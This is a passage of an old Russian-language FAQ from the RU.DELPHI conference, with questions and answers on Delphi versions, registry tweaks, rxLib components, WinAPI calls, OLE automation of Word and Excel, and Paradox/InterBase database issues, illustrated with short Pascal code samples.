begin

Memo1.Lines.Add(ColorToString(clRed));

Memo1.Lines.Add(IntToStr(StringToColor('clRed')));

end;

Q: Как изменить позицию табуляции в Memo?

A: Нужно послать в Memo сообщение EM_SETTABSTOPS.

Следующий пример устанавливает первые пять позиций табуляции равным 20 пикселям:

procedure TForm1.FormCreate(Sender: TObject);

var

DialogUnitsX : LongInt;

PixelsX : LongInt;

i : integer;

TabArray : array[0..4] of integer;

begin

Memo1.WantTabs := true;

DialogUnitsX := LoWord(GetDialogBaseUnits);

PixelsX := 20;

for i := 1 to 5 do begin

TabArray[i - 1] :=

((PixelsX * i ) * 4) div DialogUnitsX;

end;

SendMessage(Memo1.Handle,

EM_SETTABSTOPS,

5,

LongInt(@TabArray));

Memo1.Refresh;

end;


Неофициальный F.A.Q. эхо-конференции RU.DELPHI

Содержание

Вопросы, связанные с конкретными версиями Delphi
Вопросы, однозначно сводящиеся к использованию rxLib
Вопросы, возникающие от неумения читать книжки
Вопросы, которые ни в каких книжках не описаны
Библиотеки, инструменты и т. п.
Относительно большие ответы/примеры кода
Вопросы, связанные с программированием баз данных

Вопросы, связанные с конкретными версиями Delphi

Q: Каким именно релизом Delphi вообще стоит пользоваться для каждой конкретной версии?

A: Во-первых, вы можете узнать точную версию Delphi, если в окошке Help | About нажмете кнопку Alt и, не отпуская, наберете "VERSION".

Delphi 1 следует апгрейдить до версии 1.02 с помощью патчей.

Delphi 2 следует апгрейдить до версии 2.01. Это полноценный дистрибутив. Эту версию можно, в частности, узнать по странице "Internet" в палитре компонентов. Ее точная версия 2.0.76.0.

Delphi 3 следует взять версии 3.02. Это полноценный дистрибутив 3.01 и патчи до 3.02.

Delphi 4 же должна быть обновлена вторым, а затем третьим Service Pack'ами, которые можно взять на сайте Inprise.

Версии Delphi 4.3 и 4.5 являются обманными версиями. В действительности это ранние беты Delphi 4.0.

Q: Как исправить проблемы с вызовом помощи при одновременно стоящих Delphi 1 и Delphi 2?

A: (AP): Решаются так...

В regedit убейте из секции HKLM\SOFTWARE\Microsoft\Windows\Help все, что равно "...\help".

Изменив соответствующие пути, импортируйте в реестр следующий файлик:

REGEDIT4

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\
CurrentVersion\AppPaths\
delphi32.exe] @="C:\\DELPHI2\\BIN\\delphi32.exe"
"Path"="C:\\DELPHI2\\HELP"

Q: Delphi 2 и 3 не отображают русские TTF под Windows NT WorkStation + ServicePack#3.

A: (AlPe): Попробуй сделать в

[HKLM\Software\Microsoft\Windows NT\
CurrentVersion\FontMapper]
DEFAULT=0xcc (204) вместо 0x00
(Именно DEFAULT, а не (Default) :-) получше маленько будет...

Q: А как включить окошко CPU Window?

A: Вставьте в реестр строковый ключ

HKCU\Software\Borland\Delphi\2.0\Debugging\
EnableCPU=1

Соответственно, для Delphi 3 -- Delphi 3.0.

Q: Как установить компонент от Delphi одной версии под Delphi другой версии, если имеется только .DCU файл?

A: Никак. Фирма Borland всегда поддерживала несовместимость .DCU-файлов между разными версиями. Ищите исходник или .DCU, скомпилированный для соответствующей версии Delphi.

Q: При возникновении ошибки во время отладки программы машина перезагружается. Что делать?

A: Снести QEMM. Начисто. Простое отключение его функций не помогает. Впрочем, это исправлено в QEMM 9.0.

Q: Delphi 4 виснут при запуске. Видеокарта S3 Virge.

REGEDIT4
[HKEY_CURRENT_CONFIG\Display\Settings]
"BusThrottle"="on"

Если не помогает, то попробуйте добавить в system.ini:

[Display]
"BusThrottle"="On"

При работе программ на Delphi 1 под Windows 95 в hicolor-режимах на иконках TBitBtn'ов обнаруживаются странные коричневые артефакты. Как от них избавиться?

A: (AB): Залить фон битмапа синим цветом.

Q: Можно ли скомпилировать на Delphi 2/3/4 программу, работающую под Windows 3.1?

A: (NP): Нет, но в дистрибутиве с Delphi 2/3/4 поставляется Delphi 1 специально для этой цели.

Q: Куда из Delphi 3 делся модуль для работы с ReportSmith? А мои любимые модули работы с OLE: ole2, oleauto и olectl?

Они лежат в X:\DELPHI3\LIB\DELPHI2.

Q: Не работает передача данных по OLE в русский Excel.

A: (SM): Дело в том что в VCL твои команды OLE2 передаются Excel'у в русском контексте (не знаю, как это правильно назвать). Для исправления необходимо найти в файле OLEAUTO.pas в функции GetIDsOfNames строчку

if Dispatch.GetIDsOfNames(GUID_NULL, @NameRefs, NameCount,
  LOCALE_SYSTEM_DEFAULT, DispIDs) <> 0 then

и заменить ее на

  if Dispatch.GetIDsOfNames(GUID_NULL, @NameRefs, NameCount,
     ((LANG_ENGLISH+SUBLANG_DEFAULT*1024)
          +SORT_DEFAULT* 65536 ),
            DispIDs) <> 0 then

После этого у меня Excel стал понимать нормальные английские команды :)). Необходимая комбинация для установки английского языка взята из C-шных хедеров.

Q: Database Desktop показывает содержимое таблиц шрифтом без русских букв. Что делать?

A: Для DBD 5.0 в файл c:\windows\pdoxwin.ini вставить в секцию

[Properties]
SystemFont=Arial Cyr

Для DBD 7.0 нужно исправить реестр: ключ

HKCU\Software\Borland\DBD\7.0\Preferences\Properties\
SystemFont="Fixedsys"

Если такой ключ не существует, его следует создать. Впрочем, для просмотра таблиц все равно можно порекомендовать rx Database Explorer -- у него это получается очень хорошо.

Q: Hе получается открыть таблицу, созданную в InterBase с DEFAULT CHARACTER SET WIN1251. Оно говорит, что "WIN1251 undefined".

A: (AA): Ставьте Interbase в каталог с путем, соответствующим DOS-овским соглашениям об именах (8+3).

Q: WindowsNT 4.0 + Delphi 2.01 C/S + Oracle Client 7.3 + Oracle Server 7.3. После логина в базу данных возникает "EExternalError 0xC0000008". Что делать?

A: (IA, SK): Снести Oracle Trace Collection Services.

Q: Как русифицировать сообщения программы?

A: Ответ зависит от версии Delphi.

Ежели кому интересно то на http://members.xoom.com/PolarisSoft/ есть файлы строковых ресурсов на русском языке для Delphi 3 и Delphi 4.

Q: Как во время компиляции модуля определить, под какой версией Delphi она происходит?

A: Используйте

{$IFDEF VERXXX}
. . .
{$ELSE}
. . .
{$ENDIF}

Пользуйтесь вот такой таблицей:

  • VER80 -- Delphi 1
  • VER90 -- Delphi 2
  • VER93 -- C++Builder 1
  • VER100 -- Delphi 3
  • VER110 -- C++Builder 3
  • VER120 -- Delphi 4

(Sergey Anvarov, 2:5012/27.204)

Вопросы, однозначно сводящиеся к использованию rxLib

Q: Как сделать так, чтобы программу можно было запустить только в одном экземпляре?

A: Воспользуйтесь функцией ActivatePrevInstance из библиотеки rxLib. Для завершения второго экземпляра используйте Application.Terminate.

(AS): Другой вариант: X:\DELPHI2\DEMOS\IPCDEMOS\ipcthrd.pas, функция IsMonitorRunning().

Q: Как мне вывести какое-нибудь окошко с картинкой, пока программа грузится?

A: Смотрите пример в X:\DELPHI\DEMOS\DB\MASTAPP\mastapp.dpr.

Удобно использовать функцию ShowSplashWindow из rxLib.

Q: А как поместить свою иконку на taskbar, там где часы и переключатель клавиатуры? (Этот вопрос получил первый приз).

A: В библиотеке rxLib есть компонент TrxTrayIcon. Заметьте, что для корректного завершения работы операционной системе вам потребуется обрабатывать сообщение WM_QUERYENDSESSION.

Q: Как сделать плавно изменяющийся цвет заголовка окна, как в MSOffice'95?

В rxLib есть TGradientCaption.

Q: Как мне перекодировать строки из Win-кодировки в Dos-кодировку и наоборот?

A: CharToOEM, OEMToChar, CharToOEMBuff, OEMToCharBuff. Заметьте однако, что эти функции не умеют делать таких, например, вещей, как koi8-r в DOS и т. п.

Q: Как отловить события создания или удаления файлов другими программами?

В rxLib есть TrxFolderMonitor.

(Win16) FileCDR, но она плохо документирована.

Q: Как вывести диалог выбора каталога?

A: (DS): SelectDirectory, rxLib: TDirectoryEdit.

Вопросы, возникающие от неумения читать книжки

Q: Моя программа довольно долго делает какую-то полезную работу, типа чтения дерева каталогов или обильных вычислений, и в этот момент почти не работают остальные программы. Как разрешить им это делать?

A: Application.ProcessMessages.

(AA): Если вы хотите отдавать timeslices в нитях, пользуйтесь Sleep(0); это отдаст остаток слайса системе.

(Win16) Если вы хотите разрешить отработку сообщений другим программам, но не вашей, то лучше пользоваться Yield().

Q: Как мне запустить какую-нибудь программу? А как подождать, пока эта программа не отработает? Как выяснить, работает ли программа или уже завершилась? Как принудительно закрыть выполняющуюся программу?

A: WinExec() или ShellExecute. У второй больше возможностей.

(SO): CreateProcess() в параметре process info возвращает handle запущенного процесса. Вот и делаешь WaitForSingleObject(pi.hProcess, INFINITE);

(AA): (Win16) Delay можно взять из rxLib.

handle := WinExec(...);
if handle >= 32 then
  while GetModuleUsage(handle) > 0 do
    Delay( nn );
else
 raise ....

(AM): Чтобы выяснить, работает ли программа, используйте GetProcessTimes(), параметр lpExitTime.

(Win32) Для принудительного завершения процесса -- TerminateProcess.

(Win16) (RR): Надо послать программе сообщение WM_QUIT:

Handle := Winexec(App, 0);
PostMessage(Handle, WM_QUIT, 0, 0);

Q: Как сделать так, чтобы при щелчке по кнопке или по TLabel запускался, например, браузер с сайтом программы или почтовая программа с определенным адресом получателя?

uses ShellApi;

{ ... }

ShellExecute("http://www.company.com", ... );

ShellExecute("mailto:author@somewhere.net", ...);

Q: Как правильно закрыть и удалить форму? Почему моя MDI Child форма при закрывании просто минимизируется?

A: Обрабатывайте событие OnClose для формы и выставляйте в нем параметр Action в caFree. Дело в том, что его значение по умолчанию для MDI Child форм caMinimize. Кстати, если сделать Action := caNone, то форму нельзя будет закрыть.

Q: Мне надо добавить много строк в TListbox или в TCombobox или в TMemo или в TRichEdit, при этом сам объект постоянно мигает, перерисовываясь. Как избавиться от этого?

A: BeginUpdate/EndUpdate.

Q: Как мне запрограммировать непрямоугольную форму, например, как у Norton CrashGuard, в форме щита?

A: SetWindowRgn() (Win32).

Q: Как использовать свои курсоры в программе?

A:

{$R CURSORS.RES}

const
  crZoomIn = 1;
  crZoomOut = 2;

Screen.Cursors[crZoomIn] :=
LoadCursor(hInstance, 'CURSOR_ZOOMIN');
Screen.Cursors[crZoomOut] :=
LoadCursor(hInstance, 'CURSOR_ZOOMOUT');

С вашей программой должен быть слинкован файл ресурсов, содержащий соответствующие курсоры.

Q: Как ограничить перемещение курсора мыши какой-либо областью экрана?

A: ClipCursor(). Учтите, что использование этой функции -- плохой тон.

Q: Как из программы переключить раскладку клавиатуры?

A: ActivateKeyboardLayout(). Учтите, что использование этой функции -- плохой тон.

Q: Как сделать так, чтобы по Alt-F4 форма не просто закрывалась, а выдавала запрос на сохранение?

A: Обрабатывать OnCloseQuery.

Q: Как получить короткий путь файла если имеется длинный? ("c:\Program Files" ==> "c:\progra~1").

A: GetShortPathName()

Q: Как написать сервис для Windows NT?

A: В поставке Delphi 4 есть пример. http://www.sawatzki.de/.

Q: Как работать с registry?

A: TRegistry

Q: Как выдвинуть дверцу CD-ROM'а?

A: mciSendString('Set cdaudio Door Open Wait', nil, 0, handle);

Также mciSendCommand(mp.DeviceID, MCI_SET, MCI_SET_DOOR_CLOSED, 0);

Q: Как перехватывать клавиши, нажатые в окне другой программы? И вообще, любые события, поступающие другим программам?

A: SetWindowsHookEx().

Q: Как вызывать из 32-битной программы 16-битные DLL?

A: Надо применять так называемые "thunks". Смотри статью на http://www.itecuk.com/delmag/thunk95.htm.

Q: Почему у меня record a : word; b : longint end; имеет размер восемь байт вместо шести?

A: RTFM packed, $A.

Q: Где взять подробную документацию по работе с RTF, TRichEdit?

A: В MSDN.

В rxLib 2.60 появился компонент TrxRichEdit, полностью поддерживающий MS RichEdit 2.0 и его DB-aware версия. Рекомендуется.

Q: Как можно перетаскивать форму не только за заголовок?

A: WM_NCHITTEST.

Q: Как отследить "уход" курсора мыши с компонета?

A: Обрабатывать CM_MOUSEENTER/CM_MOUSELEAVE.

Q: Как добавить пункты в системное меню окна?

A: Получить хэндл системного меню окна можно с помощью функции GetSystemMenu().

Q: Можно ли сделать так, чтобы в исполняемом файле программы находился какой-нибудь звук в формате .wav, и можно было бы проиграть этот звук?

В файл MyWave.rc пишешь:

MyWave RCDATA LOADONCALL MyWave.wav

brcc32.exe MyWave.rc, получаешь MyWave.res.

В своей программе пишешь:

{$R MyWave.res}

Все!

Предупреждая следующий твой вопрос "а как прочитать wave-файл из исполняемого файла?"

procedure RetrieveMyWave;
var
  hResource: THandle;
  pData: Pointer;
begin
  hResource:=LoadResource( hInstance, FindResource
         (hInstance, 'MyWave', RT_RCDATA));
  try
    pData := LockResource(hResource);

    if pData = nil then
      raise Exception.Create('Cannot read MyWave');

    // Здесь pData указывает на MyWave
    // Теперь можно, например, проиграть его (Win32):
    PlaySound(pData, 0, SND_MEMORY);
  finally
    FreeResource(hResource);
  end;
end;

Q: Как узнать и поменять разрешение экрана?

Поменять:

procedure ChangeDisplayResolution(x, y : word);
var
  dm : TDEVMODE;
begin
  ZeroMemory(@dm, sizeof(TDEVMODE));
  dm.dmSize := sizeof(TDEVMODE);
  dm.dmPelsWidth := x;
  dm.dmPelsHeight := y;
  dm.dmFields := DM_PELSWIDTH or DM_PELSHEIGHT;
  ChangeDisplaySettings(dm, 0);
end;

Q: Как во время выполнения программы создать так называемый "array of const", например, параметры для функции Format()?

A: В библиотеке Technical Information на сайте Inprise есть документ за нумером TI582D.txt, посвященный этой проблеме. Вкратце, в качестве array of const можно использовать массив типа TVarRec.

Q: Как обратиться к определенному адресу физической памяти? А как прочитать значение из порта? Где мой любимый массив Port[]?

A: Прочитайте какую-нибудь книжку про программирование под Win32. Вкратце -- забудьте про все эти глупости.

Q: Я создал объект TStrings, но при попытке обращения к нему выдается ошибка. В чем проблема?

A: TStrings -- это абстрактный класс. Вам нужен TStringList.

Вопросы, которые ни в каких книжках не описаны

Q: Как использовать в качестве обработчика сообщения обычную процедуру, а не метод объекта?

A: У этой процедуры должен быть еще один дополнительный параметр, например:

procedure MyEventHandler
(PseudoSelf : TObject; Sender : TObject);
begin
{ ... }
end;

Библиотеки, инструменты и т. п.

Отдельный F.A.Q. по библиотекам и инструментам третьих фирм ведется Михаилом Чернышевым и регулярно публикуется им в RU.DELPHI, а также находится на http://delphi.da.ru/.

Q: Как работать с графическими форматами, хотя бы самыми известными?

A: На http://www.imagelib.com/ лежит библиотека ImageLib.

Hа компакте с Delphi 3 в каталоге EXTRAS есть библиотека JPEG. Если сказать в модуле uses jpeg; то можно работать с .jpg как с TPicture.

Еще есть freeware-библиотека Nishita ViewLib. JPG, JFIF, GIF, BMP, DIB, RLE, TGA, PCX. http://einstein.ae.eng.ua.edu/nishita/index.htm.

Q: Как работать с файлами архивов, хотя бы самыми распространенными?

A: Воспользуйтесь библиотекой ExceedZip 3.0 (http://www.exceedsoft.com/).

Q: Как использовать DirectX в своей программе?

A: Модули для работы с DirectX находятся на Delphi Super Page, в пакете DelphiX. Также на http://www.geocities.com/SiliconValley/1142/ лежит модули для работы с DirectSound. Информацию по программированию DirectX можно взять на MSDN и в книге Чарльза Калверта "Delphi 2: Энциклопедия пользователя".

Учтите существование эхи RU.DIRECTX.

A: Как использовать OpenGL в своей программе?

Q: Модули для работы с OpenGL можно взять на http://www.signsoft.com/opengl. Информацию -- на http://www.opengl.org/. Также есть книга Ю. Тихомирова "OpenGL: программирование трехмерной графики". Еще загляните на http://reality.sgi.com/mjk за примерами и http://www.scitechsoft.com/ за библиотекой MesaGL.

Учтите существование эхи RU.OPENGL.

Q: Как встроить просмотр HTML в свою программу?

В Delphi 4 имеется пример Web-браузера на Delphi.

A: MS Internet Explorer умеет быть элементом управления ActiveX, что позволяет поместить его на форму.

Netscape Navigator умеет делать то же самое, подробности на http://www.chami.com/tips/delphi/103096D.html

Еще на http://www.pbear.com/ лежат THTMLViewer и TFrameViewer.

Q: Где достать процедуру типа "сумма прописью"?

A: (Vladimir Gaitanoff, 2:5020/880.5), http://www.tsinet.ru/~vg. Здесь лежит библиотека vgLib, содержащая еще массу полезных вещей.

Q: Какие инструменты можно применить для коллективной разработки проекта?

A: CVS. http://www.cyclic.com/. С его помощью разрабатывается весьма львиная доля программного обеспечения в Internet. Интеграция с Delphi -- нулевая ;) Крайне рекомендуется. Я лично пользуюсь ею ощутимое время и не представляю себе более разработки без этого средства. "Введение в CVS" можно прочитать на http://alexm.here.ru/.

Microsoft Visual Source Safe. Проигрывает в функциональности, может выигрывать в "привычности".

Q: Как можно обнаружить утечки памяти и ресурсов в программе?

A: MSDebug Макса Русова. Находится на http://www.dic.ru/users/rusov/. Поддерживает Delphi 3 и выше, ловит только утечки памяти, но делает это хорошо.

На http://www.numega.com/ можно купить BoundsChecker for Delphi. Он проверяет также и утечки ресурсов.

Рекламировался также "MemProof", информацию о котором можно получить на http://www.listsoft.ru/programs/pr1520.htm.

Q: Мне нужно заниматься разбором математических выражений, например, строить график функции, заданной пользователем во время работы программы.

A: В rxLib есть компонент TrxMathParser, достаточно мощный для большого количества применений.

Q: Как уменьшить размер исполняемого файла программы?

A: Писать на WinAPI без использования VCL. Это пригодно для и без того крохотных программ.

Воспользоваться пакетами (packages) из Delphi 3. Эффект появится, когда исполняемых файлов больше одного.

Воспользоваться компрессорами исполняемых файлов, например: Shrinker http://www.blinkinc.com/, WWPack32 http://kolos.uni.lodz.pl/warezak, NeoLite ftp://ftp.zdnet.com/pub/private/sWlIB/utilities/other_utilities/neolitee.zip, Petite, http://www.icl.ndirect.co.uk/petite/.

Q: Где достать всяких иконок, картинок для кнопок, etc. для своей программы?

A: http://www.iconbazaar.com/

Q: Как сделать ping из своей программы? И вообще, посоветуйте какую-нибудь альтернативу стандартным дельфовым Internet-компонентам.

A: Зайди на http://www.rtfm.be/fpiette. Там кyча компонентов для инета с исходниками. Там и ping есть.

Относительно большие ответы/примеры кода

Q: Как правильно создавать компоненты в run-time? Что задавать в качестве параметра Owner при создании компоненты? Как обрабатывать события от созданных компонент, типа нажатий на кнопки?

A: Начнем с создания.

Сущность свойства Owner в том, что владелец перед смертью уничтожает (через Free) принадлежащие ему объекты. Таким образом, все зависит от того, кому вы хотите доверить уничтожение созданных форм/компонентов. В частности, если вы сами будете этим заниматься, то AOwner может быть, например, nil.

Для того, чтобы созданный компонент появился на экране, надо указать его родителя, заполнив свойство Parent, например, NewButton.Parent := Form1;

Пример кода, обрабатывающего события от свежесозданных компонентов:

type
  TForm1 = class(TForm)
  { ... }
  private
    { эта процедура будет вызываться при нажатии на кнопку }
    procedure ButtonClicked(Sender : TObject);

  public
    { в этой процедуре происходит создание кнопки }
    procedure CreateButton;

  end;

{ ... }

procedure TForm1.CreateButton;
var
  btn : TButton;
begin
btn := TButton.Create(Self);
{ Уничтожать кнопку будет форма }
btn.Parent := Self;
{ Родителем кнопки будет форма }
btn.OnClick := ButtonClicked;
{ Процедура, которая будет исполняться при }
btn.Visible := true;
{ нажатии на кнопку }
end;

Q: Как мне работать с файлами MS Word или таблицами MS Excel?

A: Воспользоваться функцией CreateOLEObject и работать с VBA (Visual Basic for Applications) или WordBasic.

NB: Обратите внимание на то, как устанавливаются именованные параметры у процедур WordBasic'а, например, FileOpen(Name := 'myname.doc');

=== Cut Пример by Sergey Arkhipov 2:5054/88.10 ===

Пример проверен только на русском Word 7.0!
 Может, поможет...

unit InWord;
interface
uses
  ... ComCtrls; // Delphi3
  ... OLEAuto;  // Delphi2
[skip]
procedure TPrintForm.MPrintClick(Sender: TObject);
var W: Variant;
    S: String;
begin
  S:=VarToStr(Table1['Num']); //В D3 без
                                //промежуточной записи
                              // в var у меня не пошло :(
  try // А вдруг где ошибка :)
    W:=CreateOleObject('Word.Basic');
    // Создаем документ по шаблону MyWordDot
    // с указанием пути если он не в папке шаблонов Word
    W.FileNew(Template:=
    'C:\MyPath\DB\MyWordDot',NewTemplate:=0);
    // Отключение фоновой печати
//(на LJ5L без этого был пустой лист)
    W.ToolsOptionsPrint(Background:=0);

    // Переходим к закладке Word'a 'Num'
    W.EditGoto('Num'); W.Insert(S);
    //Сохранение
    W.FileSaveAs('C:\MayPath\Reports\MyReport')
    W.FilePrint(NumCopies:='2'); // Печать 2-х копий
  finally
    W.ToolsOptionsPrint(Background:=1);
    W:=UnAssigned;
  end;
end;
{.....}

=== Cut Конец примера ===

Q: Как сделать так, чтобы запущенная программа не была видна на панели задач?

Во-первых, можно по примеру Back Orifice воспользоваться функцией RegisterServiceProcess.

Во-вторых, предположим, вы пользуетесь компонентой TrxTrayIcon из rxLib, иначе непонятно, как вы будете возвращать программу обратно из минимизированного состояния.

A: (EM, DS):

type
  TForm1 = class(TForm)
    Label1: TLabel;
    RxTrayIcon1: TRxTrayIcon;
    procedure FormCreate(Sender : TObject);
    procedure RxTrayIcon1DblClick(Sender: TObject);
  private
    { Private declarations }
    procedure ApplicationMinimize(Sender : TObject);
    procedure ApplicationRestore(Sender : TObject);
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin
Application.OnMinimize := ApplicationMinimize;
Application.OnRestore := ApplicationRestore;
ShowWindow(Application.Handle, SW_HIDE);
end;

procedure TForm1.ApplicationMinimize(Sender : TObject);
begin
ShowWindow(Application.Handle, SW_HIDE);
end;

procedure TForm1.ApplicationRestore(Sender : TObject);
begin
ShowWindow(Application.Handle, SW_HIDE);
end;

procedure TForm1.RxTrayIcon1DblClick(Sender: TObject);
begin
Application.Restore;
Application.BringToFront;
end;

(AK): Только сpазу предупреждаю про грабли, на которые я наступал -- будь готов к тому, что если пpи попытке закрытия приложения в OnCloseQuery или OnClose выводится вопрос о подтверждении, то могут быть проблемы с автоматическим завершением пpогpаммы пpи shutdown -- под Win95 просто зависает, под WinNT не завершается. Очевидно, что сообщение выводится, но его не видно (причем SW_RESTORE не сpабатывает). Решение -- ловить WM_QUERYENDSESSION и после всяких завеpшающих действий и вызова CallTerminateProcs выдавать Halt.

Вопросы, связанные с программированием баз данных

Q: После работы программы не сохраняются изменения в базе Paradox. Что делать?

A: Где-нибудь при закрытии главной формы выполните нижеследующие куски кода:

Для Delphi 3: Table.FlushBuffers при открытой таблице.

Для прочих: Table.Open; Check(dbiSaveChanges(Table.Handle)); Table.Close;

Q: Как мне упаковать Paradox или DBF таблицу?

A: Воспользоваться функцией PackTable из rxLib.

Для перегенерации индексов:

Table1.Exclusive := True;
Table1.Open;
Check(dbiRegenIndexes(Table1.Handle);

Q: Почему при добавлении/изменении записей в некоторых запросах возникает ошибка Cannot modify a read-only dataset?

A: Во-первых, должно быть RequestLive := True; во-вторых, чтобы запрос был редактируемым, он должен удовлетворять требованиям, изложенным в помощи при поиске по "live result sets".

Q: Почему не работает сортировка и функция UPPER() в Interbase'овской базе данных?

A: Смотри в F.A.Q. по Borland Interbase от демо-центра.

Q: Hе получается вставить в таблицу записи со строками на русском языке -- некоторые буквы меняются на другие -- что делать?

A: В Database Desktop поставьте правильный Language Driver у таблицы, например, Pdox ANSI Cyrr.

Q: Я переписал готовую программу на машину заказчика, а она там не запускается -- говорит "Error initializing database engine". Что делать?

A: Прочитать X:\DELPHI\DOC\deploy.txt.

Q: Как правильно соединяться с базой данных под Personal Oracle?

A: user/password@2: Это так для Oracle SQL Plus, и более других его утилит. А в BDE надо оставить все как для соединения с сетевым сервером, (протокол TNS, имя пользователя, кодировку, интерфейсную DLL) только вместо имени сервера написать "2:". Это годится и для случая, когда на одной машине и сетевой сервер и приложение.

Q: У меня в программе происходит очень большой запрос -- в районе нескольких тысяч или десятков тысяч записей. Соответственно, большой сетевой трафик, программа тормозит и так далее. Можно ли как-нибудь оптимизировать это все?

A: Постарайтесь изменить логику приложения так, чтобы таких запросов не возникало. Обычно подобные вещи свидетельствуют о несколько неверной архитектуре приложения.


"Новый" пополняемый FAQ

  • Как можно проиграть звуки закрепленные за событиями Windows, такими как Вход в ситему, завершение работы и др.?
  • Как отловить клик мыши вне компонента, например, панели?
  • Перехват нажатия на системные кнопки формы (закрытие , минимизация окна и т.д.)
  • Ограничение на размеры формы
  • Проверка нажатых функциональных клавиш
  • Убрать из формы Caption.
  • Событие при потере и установке фокуса для формы.
  • Добавить свой пункт в системное меню приложения.
  • Можно ли сделать так, чтобы в исполняемом файле программы находился какой-нибудь звук в формате .wav, и можно было бы проиграть этот звук?
  • Как правильно создавать компоненты в run-time? Что задавать в качестве параметра Owner при создании компоненты? Как обрабатывать события от созданных компонент, типа нажатий на кнопки?
  • Как перемещать окно не только за заголовок?
  • Как создать и использовать новую форму курсора?
  • В каком порядоке обрабатываются события при загрузке формы?
  • Как через индекс обратиться к нескольким компонентам?
  • Как узнать, находится ли дискета в дисководе?
  • Как выяснить дату последнего изменения файла?

Вопрос:
Как можно проиграть звуки закрепленные за событиями Windows, такими как Вход в ситему, завершение работы и др.?

Ответ:
    API: unit mmsystem

    PlaySound('SystemExit', null, SND_SYNC);
    или
    sndPlaySound('SystemExit', SND_SYNC);
  • Вернуться к содержанию
    Вопрос:
    Как отловить клик мыши вне компонента, например, панели?

    Ответ:
    SetCapture( YouPanel.Handle );
    После этого все клики мышью приведут к OnMouseDown твоей панельки. Там проверь - в ней ли мышь, если не в ней - ReleaseCapture и Visible := FALSE;

    Вернуться к содержанию
Вопрос:
Перехват нажатия на системные кнопки формы (закрытие , минимизация окна и т.д.)

Ответ:
Сообщение WM_SYSCOMMAND приходит перед выполнением соответствующей команды, что дает возможность переопределить код.
Описание :

WM_SYSCOMMAND

uCmdType = wParam;        // type of system command requested
xPos = LOWORD(lParam);    // horizontal postion, in screen coordinates
yPos = HIWORD(lParam);    // vertical postion, in screen coordinates

Например, перехват события минимизации окна приложения:

Type TMain = class(TForm)
  ....
 protected
   Procedure WMGetSysCommand(var Message : TMessage); message WM_SYSCOMMAND;
 end;
.....
//----------------------------------------------------------------
//   Обработка сообщения WM_SYSCOMMAND (перехват минимизации окна)
//----------------------------------------------------------------
Procedure TMain.WMGetSysCommand(var Message : TMessage) ;
Begin
     IF (Message.wParam = SC_MINIMIZE)
         Then Main.Visible:=False
     Else Inherited;
End;

  • Вернуться к содержанию
Вопрос:
Ограничение на размеры формы

Ответ:
Используется обработка Windows сообщения WM_GETMINMAXINFO
Например, ограничение на уменьшение размера формы и на увеличение ее по высоте:

//-----------------------------------------------------
//       ограничение на изменение размера формы
//-----------------------------------------------------
procedure TFormBarParity.WMGetMinMaxInfo(var Message : TMessage);
type
  PTMinMaxInfo = ^TMinMaxInfo;
begin
  with PTMinMaxInfo(Message.LParam)^.ptMinTrackSize
    do begin
      x := 400;
      y := 45;
    end;

  with PTMinMaxInfo(Message.LParam)^.ptMaxTrackSize
    do begin
      y := 45;
    end;

  inherited;
end;

  • Вернуться к содержанию
Вопрос:
Проверка нажатых функциональных клавиш

Ответ:

Функция GetKeyState (Win32API) возвращает статус кнопки клавиатуры, переданной ей в качестве параметра. Статус определяет, что кнопка нажата(down), отпущена(up) или переключена(on/off, как например клавиши NumLock или CapsLock). Если старший разряд возвращаемого значения равен 1, то кнопка нажата, иначе она отпущена. Если младший разряд равен 1, то кнопка включена(состояние On), иначе кнопка выключена(off).

SHORT GetKeyState( int  nVirtKey  );

Например:
IF GetKeyState(VK_NUMLOCK) = 1 Then ...// Кнопка "NumLock" включена (on)

  • Вернуться к содержанию
Вопрос:
Убрать из формы Caption.

Ответ:

 SetWindowLong (Main.Handle,GWL_STYLE,
    GetWindowLong(Main.Handle, GWL_STYLE) AND NOT WS_CAPTION OR WS_SIZEBOX);

  • Вернуться к содержанию
Вопрос:
Событие при потере и установке фокуса для формы.

Ответ:
Примечание: В данном примере при потере фокуса формой, PanelCaption окрашивается в цвет неактивного заголовка, в случае получения фокуса формой - в цвет активного заголовка. То есть цвет панели повторяет изменение цвета Caption самой формы.
Type TMain = class(TForm)
  ....
  protected Procedure LastFocus(var Mess : TMessage) ; message  WM_ACTIVATE;
End;

//--------------------------------------------------------------
Procedure TMain.LastFocus(var Mess : TMessage) ;
Begin

     IF  Mess.wParam = WA_INACTIVE
     Then PanelCaption.Color:=clInactiveCaption
     Else PanelCaption.Color:=clActiveCaption;

     Inherited;

End;

  • Вернуться к содержанию
Вопрос:
Добавить свой пункт в системное меню приложения.

Ответ:
Добавить пункт в системное меню, написать обработчик его выбора и перехватить сообщение о выборе пункта из системного меню.
Примечание: Константа WM_USER используется в приложении для определения собственных сообщений.
Значения от 0 до (WM_USER-1) зарезервированы для системных сообщений.
type
  TForm1 = class(TForm)
    procedure FormCreate(Sender: TObject);
    procedure OnMyMenu;
  private
    procedure WMSysCommand(var Msg: TWMSysCommand); message WM_SYSCOMMAND;
  end;

var
  Form1: TForm1;

implementation
{$R *.DFM}
const
  SC_MyMenuItem = WM_USER + 1;
//----------------------------------------------------
procedure TForm1.FormCreate(Sender: TObject);
begin
  // добавление своего пункта в системное меню приложения
  AppendMenu(GetSystemMenu(Handle, FALSE), MF_SEPARATOR, 0, '');
  AppendMenu(GetSystemMenu(Handle, FALSE), MF_STRING,
             SC_MyMenuItem, 'Новый пункт в меню');
end;
//----------------------------------------------------
procedure TForm1.OnMyMenu;
Begin
 // Обработка нажатия на новый пункт меню
End;
//----------------------------------------------------
procedure TForm1.WMSysCommand(var Msg: TWMSysCommand);
begin
  // перехват события выбора нового пункта меню
  if Msg.CmdType = SC_MyMenuItem then
    OnMyMenu else
    inherited;
end;
//----------------------------------------------------

  • Вернуться к содержанию
Вопрос:
Можно ли сделать так, чтобы в исполняемом файле программы находился какой-нибудь звук в формате .wav, и можно было бы проиграть этот звук?

Ответ:

В файл MyWave.rc надо записать:
MyWave RCDATA LOADONCALL MyWave.wav

   brcc32.exe MyWave.rc, получаешь MyWave.res.

   Непосредственно в программе:

{$R a.res}

Все!

Пpедупpеждая следующий вопpос 'а как пpочитать вавчик из EXE?':

procedure RetrieveMyWave;
var
  hResource: THandle;
  pData: Pointer;
begin
  hResource:=LoadResource( hInstance, FindResource(hInstance,
                                                'MyWave', RT_RCDATA));
  try
    pData := LockResource(hResource);

    if pData = nil then
